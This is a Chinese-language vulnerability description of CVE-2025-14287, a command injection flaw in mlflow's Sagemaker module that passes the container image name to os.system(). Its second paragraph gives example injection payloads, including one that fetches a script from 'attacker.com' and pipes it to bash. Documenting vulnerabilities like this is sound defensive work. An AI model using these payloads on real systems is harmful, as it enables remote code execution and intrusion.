CVE-2025-14287CVE-2025-14287是mlflow项目中一个严重的命令注入漏洞,CVSS评分高达8.8,属于高危级别。该漏洞存在于mlflow的Sagemaker模块中,具体位于mlflow/sagemaker/__init__.py文件的第161-167行。漏洞的根本原因是在构造shell命令时,直接将用户提供的容器镜像名称拼接到命令字符串中,而没有进行任何输入验证或消毒处理。由于拼接后的命令最终通过os.system()函数执行,攻击者可以通过在容器镜像名称中注入恶意命令来执行任意系统命令。此漏洞影响mlflow所有v3.7.0之前的版本,包括开发环境、CI/CD流水线以及云端部署场景。攻击者只需通过--container参数传入包含恶意命令的镜像名称即可完成攻击,无需任何认证且可在用户交互或自动化脚本中触发。
该漏洞属于典型的命令注入(Command Injection)类型,存在于mlflow的Sagemaker部署功能模块中。漏洞代码位于mlflow/sagemaker/__init__.py第161-167行,具体问题是在构建shell命令时使用字符串格式化或拼接方式将用户可控的container参数直接插入命令中。例如代码可能类似:cmd = f'docker pull {container}',然后通过os.system(cmd)执行。攻击者可以通过构造恶意的container参数来注入额外命令,如使用分号、管道符或反引号等shell元字符。典型的攻击载荷可能为:'; whoami #' 或 '$(curl http://attacker.com/shell.sh|bash)'。由于os.system()使用/bin/sh执行命令,攻击者能够以运行mlflow进程的用户权限执行任意系统命令,包括读取敏感文件、建立后门连接或横向移动。